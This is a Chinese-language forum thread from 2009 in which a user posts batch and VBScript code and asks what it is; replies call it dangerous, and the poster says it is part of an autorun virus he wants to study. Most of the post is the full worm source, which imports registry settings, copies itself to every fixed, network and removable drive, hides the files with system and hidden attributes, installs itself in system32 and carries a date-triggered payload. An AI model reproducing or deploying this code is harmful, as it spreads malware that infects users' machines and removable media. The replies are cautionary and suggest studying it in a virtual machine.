佳礼资讯网

 找回密码
 注册

ADVERTISEMENT

查看: 1170|回复: 8

有谁知道这是什么 coding ~

[复制链接]
发表于 1-6-2009 08:28 PM | 显示全部楼层 |阅读模式
有谁知道这是什么 coding ??


@echo off
rem autorun·ç±©
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
pen
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end








rem autorun·ç±©
on error resume next
Set WshShell =CreateObject("WScript.Shell"
if Year(Date)=2030 and Month(Date)=6 and Day(Date)=30 then
a=WshShell.Run("autorun.bat Over" ,0,True)
Set Of = CreateObject("Scripting.FileSystemObject"
Set fc = Of.OpenTextFile("C:\autorun.txt", 1)
mt = fc.ReadAll
fc.Close
if mt<>"" then msgbox decrypt(mt)
end if

if Year(Date)>2030 or Month(Date)>100 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject"
set dir = Of.GetSpecialFolder(1)
Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
  isdir=true
else
  a=WshShell.Run("autorun.bat Open" ,0,False)
  isdir=false
end if

For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:" Then
  a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
  Of.CopyFile dir&"\autorun.*",d&"\",True
else
  Of.CopyFile "autorun.*",d&"\",True
end if
  a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
  wscript.sleep 60000
  i=0
else
  a=WshShell.Run("autorun.bat - "&dir ,0,True)
  Of.CopyFile "autorun.*",dir&"\",True
  a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if
function decrypt(dcode)
   dim texts
   dim i
   for i=1 to len(dcode)-4
   x=i mod 5
   texts=texts & chr(asc(mid(dcode,i,1))-x)
   next
   decrypt=texts
end function
回复

使用道具 举报


ADVERTISEMENT

发表于 1-6-2009 09:06 PM | 显示全部楼层
不懂是叫Dos命令符嗎
通常是拿來寫.bat的file的
回复

使用道具 举报

发表于 2-6-2009 12:46 PM | 显示全部楼层
Batch Programming (DOS command)
回复

使用道具 举报

发表于 2-6-2009 01:27 PM | 显示全部楼层
前半段是DOS Batch file command,后半段是VB Script。。。

不过内容很让人不安呢,又搞 registry,又搞 script,又搞 File System 的,有很危险的味道。
回复

使用道具 举报

发表于 2-6-2009 01:27 PM | 显示全部楼层
前半段是DOS Batch file command,后半段是VB Script。。。

不过内容很让人不安呢,又搞 registry,又搞 script,又搞 File System 的,有很危险的味道。
回复

使用道具 举报

发表于 2-6-2009 02:15 PM | 显示全部楼层
看起来像恶意代码。。。
回复

使用道具 举报

Follow Us
 楼主| 发表于 4-6-2009 01:33 AM | 显示全部楼层
原帖由 geekman 于 2-6-2009 01:27 PM 发表
前半段是DOS Batch file command,后半段是VB Script。。。

不过内容很让人不安呢,又搞 registry,又搞 script,又搞 File System 的,有很危险的味道。

原帖由 wing_s 于 2-6-2009 02:15 PM 发表
看起来像恶意代码。。。



两位真是高手, 一看就知道这些 coding 有危险 , 这些是 autorun 病毒其中几部分可以  

我只是想知道是什么 coding 和研究下
回复

使用道具 举报

发表于 4-6-2009 09:10 PM | 显示全部楼层
原帖由 lkming 于 4-6-2009 01:33 AM 发表

两位真是高手, 一看就知道这些 coding 有危险 , 这些是 autorun 病毒其中几部分可以 &#160;

我只是想知道是什么 coding 和研究下


我只是奉劝一句,在没相等技术前提下搞这些东西,自身损失多过回报, 当心自己只不过是别人的傀儡
回复

使用道具 举报


ADVERTISEMENT

发表于 5-6-2009 08:50 PM | 显示全部楼层
要玩建议用virtualbox来玩^^
比较安全^^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

 

ADVERTISEMENT



ADVERTISEMENT



ADVERTISEMENT

ADVERTISEMENT


版权所有 © 1996-2023 Cari Internet Sdn Bhd (483575-W)|IPSERVERONE 提供云主机|广告刊登|关于我们|私隐权|免控|投诉|联络|脸书|佳礼资讯网

GMT+8, 11-12-2025 12:00 AM , Processed in 0.199134 second(s), 24 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表